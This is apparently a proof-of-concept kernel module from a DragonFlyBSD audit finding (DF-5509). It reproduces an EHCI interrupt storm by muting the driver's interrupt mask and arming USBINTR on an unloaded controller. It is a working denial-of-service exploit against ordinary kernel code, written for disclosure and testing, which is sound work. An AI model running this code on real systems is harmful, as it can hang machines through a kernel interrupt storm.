โฌข DragonFlyBSD Kernel Audit
DF-5509 / mutearm.c
โ† back to finding โ†“ download raw
/*
 * DF-5509 PoC โ€” ehci_pci_attach arms ehci_interrupt BEFORE the controller
 * is taken from the BIOS and BEFORE ehci_init() runs.
 *
 * In that window the (M_ZERO-allocated) softc still holds its pre-init
 * values: sc_offs == 0 and sc_eintrs == 0. ehci_interrupt()
 * (sys/bus/u4b/controller/ehci.c:1490-1513) then
 *   - reads "USBSTS" at io_hdl + sc_offs(0) + 0x04  == the HCSPARAMS
 *     capability register (never the real status register), and
 *   - unconditionally takes `goto done` at ehci.c:1510 because
 *     (status & sc_eintrs) == 0 โ€” WITHOUT writing USBSTS to acknowledge.
 * With (USBINTR & USBSTS) != 0 in the real registers the level-triggered
 * INTx re-fires forever. Nothing clears USBINTR/USBSTS until ehci_init()'s
 * ehci_hcreset (ehci.c:215, called from ehci.c:335), i.e. only AFTER
 * ehci_pci_take_controller's up-to-5-second BIOS handoff wait
 * (ehci_pci.c:532-545), which itself runs INSIDE the armed window.
 *
 * Modes (kenv ehciarm.mode):
 *   0 = probe: live register/softc dump (safe)
 *   1 = mute:  put the LIVE softc into the handler-visible pre-init state
 *              (sc_eintrs = 0 โ€” exactly the value newbus' M_ZERO softc
 *              holds in the attach window), keep sc_offs at its correct
 *              value, so the *only* changed thing is the missing
 *              interrupt-enable state -> proves the mute handler cannot
 *              acknowledge a real pending interrupt.
 *   2 = arm:   run with the ehci driver UNLOADED: map the EHCI BAR and
 *              set USBINTR = 0x3F so that the next port event (device_add
 *              usb-kbd via the QEMU monitor) latches USBSTS.PCD and
 *              asserts INTx *before* the driver is loaded โ€” the BIOS
 *              residue / malicious controller precondition for the
 *              end-to-end attach-window storm.
 */
#include <sys/stdint.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/types.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/bus.h>
#include <sys/module.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/sysctl.h>
#include <sys/unistd.h>
#include <sys/callout.h>
#include <sys/malloc.h>
#include <sys/caps.h>
#include <sys/conf.h>
#include <sys/rman.h>

#include <vm/vm.h>
#include <vm/pmap.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_core.h>
#include <bus/u4b/usb_debug.h>
#include <bus/u4b/usb_busdma.h>
#include <bus/u4b/usb_process.h>
#include <bus/u4b/usb_transfer.h>
#include <bus/u4b/usb_device.h>
#include <bus/u4b/usb_hub.h>
#include <bus/u4b/usb_util.h>
#include <bus/u4b/usb_controller.h>
#include <bus/u4b/usb_bus.h>
#include <bus/u4b/controller/ehci.h>
#include <bus/u4b/controller/ehcireg.h>

#include <bus/pci/pcireg.h>
#include <bus/pci/pcivar.h>

static int ehciarm_mode = 0;		/* kenv ehciarm.mode */
static u_long ehciarm_bar = 0;		/* kenv ehciarm.bar (physical BAR0) */
TUNABLE_INT("ehciarm.mode", &ehciarm_mode);
TUNABLE_ULONG("ehciarm.bar", &ehciarm_bar);

static uint32_t saved_eintrs;
static vm_offset_t arm_base;

#define	MMRD4(b, o)	(*(volatile uint32_t *)((b) + (o)))
#define	MMRD1(b, o)	(*(volatile uint8_t *)((b) + (o)))
#define	MMWR4(b, o, v)	(*(volatile uint32_t *)((b) + (o)) = (v))

static void
probe_softc(ehci_softc_t *sc, int unit)
{
	device_t self = sc->sc_bus.parent;
	uint32_t cparams, usbcmd, usbsts, usbintr, usbsts_real;
	uint8_t eecp;
	int i;

	cparams = bus_space_read_4(sc->sc_io_tag, sc->sc_io_hdl,
	    EHCI_HCCPARAMS);
	usbcmd = bus_space_read_4(sc->sc_io_tag, sc->sc_io_hdl,
	    sc->sc_offs + EHCI_USBCMD);
	usbsts = bus_space_read_4(sc->sc_io_tag, sc->sc_io_hdl,
	    sc->sc_offs + EHCI_USBSTS);
	usbintr = bus_space_read_4(sc->sc_io_tag, sc->sc_io_hdl,
	    sc->sc_offs + EHCI_USBINTR);

	kprintf("ehciarm: ehci%d io_hdl=%#jx io_size=%#jx sc_offs=%#x "
	    "sc_eintrs=%#x sc_noport=%u\n", unit,
	    (uintmax_t)sc->sc_io_hdl, (uintmax_t)sc->sc_io_size,
	    sc->sc_offs, sc->sc_eintrs, sc->sc_noport);
	kprintf("ehciarm: MMIO HCCPARAMS=%#x (EECP=%#x) USBCMD=%#x "
	    "USBSTS=%#x USBINTR=%#x\n",
	    cparams, EHCI_HCC_EECP(cparams), usbcmd, usbsts, usbintr);
	kprintf("ehciarm: pre-init view: EOREAD4(EHCI_USBSTS) with "
	    "sc_offs=0 -> reads MMIO+0x04 = %#x (HCSPARAMS, NOT status)\n",
	    bus_space_read_4(sc->sc_io_tag, sc->sc_io_hdl, EHCI_USBSTS));

	/* EECP / LEGSUP inventory (config space side of the walk) */
	eecp = EHCI_HCC_EECP(cparams);
	for (i = 0; eecp != 0 && i < 8; eecp = EHCI_EECP_NEXT(
	    pci_read_config(self, eecp, 4)), i++) {
		uint32_t eec = pci_read_config(self, eecp, 4);
		kprintf("ehciarm: EECP chain[%d] @%#x: %#x (ID=%#x NEXT=%#x)"
		    "%s\n", i, eecp, eec, EHCI_EECP_ID(eec),
		    EHCI_EECP_NEXT(eec),
		    EHCI_EECP_ID(eec) == EHCI_EC_LEGSUP ?
		    "  <== LEGSUP" : "");
		if (EHCI_EECP_ID(eec) == EHCI_EC_LEGSUP)
			kprintf("ehciarm:   LEGSUP dword at %#x, BIOS_SEM"
			    "(+%#x)=%#x OS_SEM(+%#x)=%#x\n", eecp,
			    EHCI_LEGSUP_BIOS_SEM,
			    pci_read_config(self, eecp + EHCI_LEGSUP_BIOS_SEM, 1),
			    EHCI_LEGSUP_OS_SEM,
			    pci_read_config(self, eecp + EHCI_LEGSUP_OS_SEM, 1));
		if (EHCI_EECP_NEXT(eec) == 0)
			break;
	}
	(void)usbsts_real;
}

static int
ehciarm_modevent(module_t mod, int type, void *data)
{
	devclass_t dc;
	ehci_softc_t *sc;
	device_t pcidev;
	int unit, maxunit;
	uint8_t caplen;
	vm_offset_t op;

	switch (type) {
	case MOD_LOAD:
		dc = devclass_find("ehci");
		if (ehciarm_mode != 2 && dc == NULL) {
			kprintf("ehciarm: no ehci devclass loaded\n");
			return (ENXIO);
		}
		if (ehciarm_mode <= 1) {
			maxunit = devclass_get_maxunit(dc);
			for (unit = 0; unit <= maxunit; unit++) {
				sc = devclass_get_softc(dc, unit);
				if (sc == NULL || sc->sc_io_res == NULL)
					continue;
				probe_softc(sc, unit);
				if (ehciarm_mode == 1) {
					saved_eintrs = sc->sc_eintrs;
					sc->sc_eintrs = 0;
					kprintf("ehciarm: ehci%d MUTED: "
					    "sc_eintrs %#x -> 0 (the exact "
					    "pre-init M_ZERO value; sc_offs "
					    "left CORRECT at %#x)\n",
					    unit, saved_eintrs, sc->sc_offs);
				}
			}
			return (0);
		}
		/* mode 2: arm the unloaded controller */
		if (ehciarm_bar == 0) {
			pcidev = pci_find_device(0x8086, 0x24cd);
			if (pcidev == NULL) {
				kprintf("ehciarm: no 8086:24cd device\n");
				return (ENXIO);
			}
			ehciarm_bar = pci_read_config(pcidev,
			    PCIR_BAR(0), 4) & ~0xFUL;
		}
		arm_base = (vm_offset_t)pmap_mapdev_uncacheable(
		    ehciarm_bar, 0x1000);
		caplen = MMRD1(arm_base, 0);
		op = arm_base + caplen;
		kprintf("ehciarm: BAR %#lx mapped @%p CAPLENGTH=%#x "
		    "HCCPARAMS=%#x (EECP=%#x)\n", ehciarm_bar, (void *)arm_base,
		    caplen, MMRD4(arm_base, EHCI_HCCPARAMS),
		    EHCI_HCC_EECP(MMRD4(arm_base, EHCI_HCCPARAMS)));
		kprintf("ehciarm: pre-arm: USBCMD=%#x USBSTS=%#x "
		    "USBINTR=%#x\n", MMRD4(op, EHCI_USBCMD),
		    MMRD4(op, EHCI_USBSTS), MMRD4(op, EHCI_USBINTR));
		MMWR4(op, EHCI_USBINTR, MMRD4(op, EHCI_USBINTR) | 0x3F);
		/*
		 * Leave the controller RUNNING (USBCMD.RS) like a BIOS that
		 * was actively servicing the companion/ports at handoff time.
		 * (QEMU's ehci only latches port-change status through the
		 * frame timer, which needs RS=1; real EHCI silicon sets
		 * USBSTS.PCD on a connect change regardless of run state.)
		 */
		MMWR4(op, EHCI_USBCMD, MMRD4(op, EHCI_USBCMD) | EHCI_CMD_RS);
		kprintf("ehciarm: ARMED: USBINTR=%#x (all 6 enables; PCD=%d)"
		    "\n", MMRD4(op, EHCI_USBINTR),
		    !!(MMRD4(op, EHCI_USBINTR) & EHCI_STS_PCD));
		kprintf("ehciarm: INTx will assert as soon as a pending "
		    "USBSTS bit appears (e.g. monitor: device_add usb-kbd)\n");
		return (0);
	case MOD_UNLOAD:
		if (ehciarm_mode == 1) {
			dc = devclass_find("ehci");
			if (dc != NULL) {
				maxunit = devclass_get_maxunit(dc);
				for (unit = 0; unit <= maxunit; unit++) {
					sc = devclass_get_softc(dc, unit);
					if (sc == NULL || sc->sc_io_res == NULL)
						continue;
					sc->sc_eintrs = saved_eintrs;
					kprintf("ehciarm: ehci%d restored "
					    "sc_eintrs=%#x\n", unit,
					    sc->sc_eintrs);
				}
			}
		}
		if (arm_base != 0) {
			pmap_unmapdev(arm_base, 0x1000);
			arm_base = 0;
		}
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(ehciarm, ehciarm_modevent, NULL);
MODULE_VERSION(ehciarm, 1);